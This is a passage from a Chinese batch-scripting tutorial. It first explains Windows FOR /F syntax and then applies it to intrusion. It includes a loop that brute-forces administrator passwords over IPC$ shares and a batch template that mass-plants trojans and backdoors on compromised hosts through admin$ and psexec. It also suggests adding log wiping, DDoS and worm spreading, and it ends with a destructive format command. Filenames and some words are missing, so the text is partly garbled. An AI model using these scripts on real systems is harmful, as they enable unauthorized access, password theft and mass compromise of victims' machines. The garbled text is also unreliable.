【文章內(nèi)容簡(jiǎn)介】
(5 4 3 2 1)。 FOR /F [options] %variable IN (fileset) DO mand FOR /F [options] %variable IN (string) DO mand FOR /F [options] %variable IN (mand) DO mand 或者,如果有 usebackq 選項(xiàng) : FOR /F [options] %variable IN (fileset) DO mand FOR /F [options] %variable IN (string) DO mand FOR /F [options] %variable IN (mand) DO mand filenameset 為一個(gè)或多個(gè)文件名。繼續(xù)到 filenameset 中的下一個(gè)文件 之前,每份文件都已被打開(kāi)、讀取并經(jīng)過(guò)處理。 處理包括讀取文件,將其分成一行行的文字,然后將每行解析成零或更多的符號(hào)。然后用已找到的符號(hào)字符串變量值調(diào)用 For 循環(huán)。以默認(rèn)方式, /F 通過(guò)每個(gè)文件的每一行中分開(kāi)的第一個(gè)空白符號(hào)。跳過(guò)空白行。 您可通過(guò)指定可選 options參數(shù)替代默認(rèn)解析操作。這個(gè)帶引號(hào)的字符串包括一個(gè)或多個(gè)指定不同解析選項(xiàng)的關(guān)鍵字。這些關(guān)鍵字為 : eol=c 指一個(gè)行注釋字符的結(jié)尾 (就一個(gè) ) skip=n 指在文件開(kāi)始時(shí)忽略的行數(shù)。 delims=xxx 指 分隔符集。這個(gè)替換了空格和跳格鍵的 默認(rèn)分隔符集。 tokens=x,y,mn 指每行的哪一個(gè)符號(hào)被傳遞到每個(gè)迭代 的 for 本身。這會(huì)導(dǎo)致額外變量名稱(chēng)的 格式為一個(gè)范圍。通過(guò) nth 符號(hào)指定 m 符號(hào)字符串中的最后一個(gè)字符星號(hào), 那么額外的變量將在最后一個(gè)符號(hào)解析之 分配并接受行的保留文本。 usebackq 指定新語(yǔ)法已在下類(lèi)情況中使用 : 在作為命令執(zhí)行一個(gè)后引號(hào)的字符串并且引號(hào)字符為文字字符串命令并允許在 fi中使用雙引號(hào)擴(kuò)起文件名稱(chēng)。 sample1: FOR /F eol=。 tokens=2,3* delims=, %i in () do mand 會(huì)分析 中的每一行,忽略以分號(hào)打頭的那些行,將每行中的第二個(gè)和第三個(gè)符號(hào)傳遞給 for 程序體;用逗號(hào)和 /或空格定界符號(hào)。請(qǐng)注意,這個(gè) for 程序體的語(yǔ)句引用 %i 來(lái)取得第二個(gè)符號(hào),引用 %j 來(lái)取得第三個(gè)符號(hào),引用 %k來(lái)取得第三個(gè)符號(hào)后的所有剩余符號(hào)。對(duì)于帶有空格的文件名,您需要用雙引號(hào)將文件名括起來(lái)。為了用這種方式來(lái)使用雙引號(hào),您還 需要使用 usebackq 選項(xiàng),否則,雙引號(hào)會(huì)被理解成是用作定義某個(gè)要分析的字符串的。 %i 專(zhuān)門(mén)在 for 語(yǔ)句中得到說(shuō)明, %j 和 %k 是通過(guò) tokens= 選項(xiàng)專(zhuān)門(mén)得到說(shuō)明的。您可以通過(guò) tokens= 一行指定最多 26 個(gè)符號(hào),只要不試圖說(shuō)明一個(gè)高于字母 z 或 Z 的變量。請(qǐng)記住, FOR 變量是單一字母、分大小寫(xiě)和全局的同時(shí)不能有 52 個(gè)以上都在使用中。 您還可以在相鄰字符串上使用 FOR /F 分析邏輯;方法是,用單引號(hào)將括號(hào)之間的 filenameset 括起來(lái)。這樣,該字 符串會(huì)被當(dāng)作一個(gè)文件中的一個(gè)單一輸入行。 最后,您可以用 FOR /F 命令來(lái)分析命令的輸出。方法是,將括號(hào)之間的 filenameset 變成一個(gè)反括字符串。該字符串會(huì)被當(dāng)作命令行,傳遞到一個(gè)子 ,其輸出會(huì)被抓進(jìn)內(nèi)存,并被當(dāng)作文件分析。因此,以下例子 : FOR /F usebackq delims== %i IN (`set`) DO @echo %i 會(huì)枚舉當(dāng)前環(huán)境中的環(huán)境變量名稱(chēng)。 另外, FOR 變量參照的替換已被增強(qiáng)。您現(xiàn)在可以使用下列 選項(xiàng)語(yǔ)法 : ~I 刪除任何引號(hào) (),擴(kuò)充 %I %~fI 將 %I 擴(kuò)充到一個(gè)完全合格的路徑名 %~dI 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào) %~pI 僅將 %I 擴(kuò)充到一個(gè)路徑 %~nI 僅將 %I 擴(kuò)充到一個(gè)文件名 %~xI 僅將 %I 擴(kuò)充到一個(gè)文件擴(kuò)展名 %~sI 擴(kuò)充的路徑只含有短名 %~aI 將 %I 擴(kuò)充到文件的文件屬性 %~tI 將 %I 擴(kuò)充到文件的日期 /時(shí)間 %~zI 將 %I 擴(kuò)充到文件的大小 %~$PATH:I 查找列在路 徑環(huán)境變量的目錄,并將 %I 擴(kuò)充到找到的第一個(gè)完全合格的名稱(chēng)。如果環(huán)境變量未被定義,或者沒(méi)有找到文件,此組合鍵會(huì)擴(kuò)充空字符串 可以組合修飾符來(lái)得到多重結(jié)果 : %~dpI 僅將 %I 擴(kuò)充到一個(gè)驅(qū)動(dòng)器號(hào)和路徑 %~nxI 僅將 %I 擴(kuò)充到一個(gè)文件名和擴(kuò)展名 %~fsI 僅將 %I 擴(kuò)充到一個(gè)帶有短名的完整路徑名 %~dp$PATH:i 查找列在路徑環(huán)境變量的目錄,并將 %I 擴(kuò)充到找到的第一個(gè)驅(qū)動(dòng)器號(hào)和路徑。 %~ftzaI 將 %I 擴(kuò)充到類(lèi)似輸出線路的 DIR 在以上例子中, %I 和 PATH 可用其他有效數(shù)值代替。 %~ 語(yǔ)法 用一個(gè)有效的 FOR 變量名終止。選取類(lèi)似 %I 的大寫(xiě)變量名比較易讀,而且避免與不分大小寫(xiě)的組合鍵混淆。 以上是 MS的官方幫助,下面我們舉幾個(gè)例子來(lái)具體說(shuō)明一下 For命令在入侵中的用途。 sample2: 利用 For命令來(lái)實(shí)現(xiàn)對(duì)一臺(tái)目標(biāo) Win2k主機(jī)的暴力密碼破解。 我們用 use \\ip\ipc$ password /u:administrator來(lái)嘗試這和目標(biāo)主機(jī)進(jìn)行連接,當(dāng)成功時(shí)記下密碼。 最主要的命令是一條: for /f i% in () do use \\ip\ipc$ i% /u:administrator 用 i%來(lái)表示 admin的密碼,在 i%的值用 use 命令來(lái)連接。然后將程序運(yùn)行結(jié)果傳遞給 find命令-- for /f i%% in () do use \\ip\ipc$ i%% /u:administrator find :命令成功完成 D:\ ,這樣就 ko了。 sample3: 你有沒(méi)有過(guò)手里有大量肉雞等著你去種后門(mén)+木馬呢?,當(dāng)數(shù)量特別多的時(shí)候,原本很開(kāi)心的一件事都會(huì)變得很郁悶:)。文章開(kāi)頭就談到使用批處理文件,可以簡(jiǎn)化日?;蛑貜?fù)性任務(wù)。那么如何實(shí)現(xiàn)呢?呵呵,看下去你就會(huì)明白了。 主要命令也只有一條:(在批處理文件中使用 FOR 命令時(shí),指定變量使用 %%variable) @for /f tokens=1,2,3 delims= %%i in () do start call %%i %%j %%k tokens的用法請(qǐng)參見(jiàn)上面的 sample1,在這里它表示按順序?qū)? 中的內(nèi)容傳遞給 %i %j %k。 而 use命令來(lái)建立 IPC$連接,并 copy 木馬+后門(mén)到 victim,然后用返回碼( If errorlever =)來(lái)篩選成功種植后門(mén)的主機(jī),并 echo出來(lái),或者 echo到指定的文件。 delims= 表示 中的內(nèi)容是一空格來(lái)分隔的。我想看到這里你也一定明白這 里的內(nèi)容是什么樣的了。應(yīng)該根據(jù) %%i %%j %%k表示的對(duì)象來(lái)排列,一般就是 ip password username。 代碼雛形: cut here then save as a batchfile(I call it at ) @echo off @if %1== goto usage @for /f tokens=1,2,3 delims= %%i in () do start call %%i %%j %%k @goto end :usage @echo run this batch in dos just doubleclick it. :end cut here then save as a batchfile(I call it at ) cut here then save as a batchfile(I call it do) @ use \\%1\ipc$ %3 /u:%2 @if errorlevel 1 goto failed @echo Trying to establish the IPC$ connection ???? OK @copy \\%1\admin$\system32 amp。amp。 if not errorlevel 1 echo IP %1 USER %2 PWD %3 @psexec \\%1 c:\winnt\system32\ @psexec \\%1 start windrv32 amp。amp。 if not errorlevel 1 echo %1 Backdoored :failed @echo Sorry can not connected to the victim. cut here then save as a batchfile(I call it door.bat) 這只是一個(gè)自動(dòng)種植后門(mén)批處理的雛形,兩個(gè)批處理和后門(mén)程序( ) ,PSe 需放在統(tǒng)一目錄下 .批處理內(nèi)容 尚可擴(kuò)展 ,例如 :加入清除日志 +DDOS的功能 ,加入定時(shí)添加用戶(hù)的功能 ,更深入一點(diǎn)可以使之具備自動(dòng)傳播功能 (蠕蟲(chóng) ).此處不多做敘述 ,有興趣的朋友可自行研究 . 二 .如何在批處理文件中使用參數(shù) 批處理中 可以使用參數(shù),一般從 1%到 9%這九個(gè),當(dāng)有多個(gè)參數(shù)時(shí)需要用 shift來(lái)移動(dòng),這種情況并不多見(jiàn),我們就不考慮它了。 sample1: @echo off if %1==a format a: :format @format a:/q/u/auotset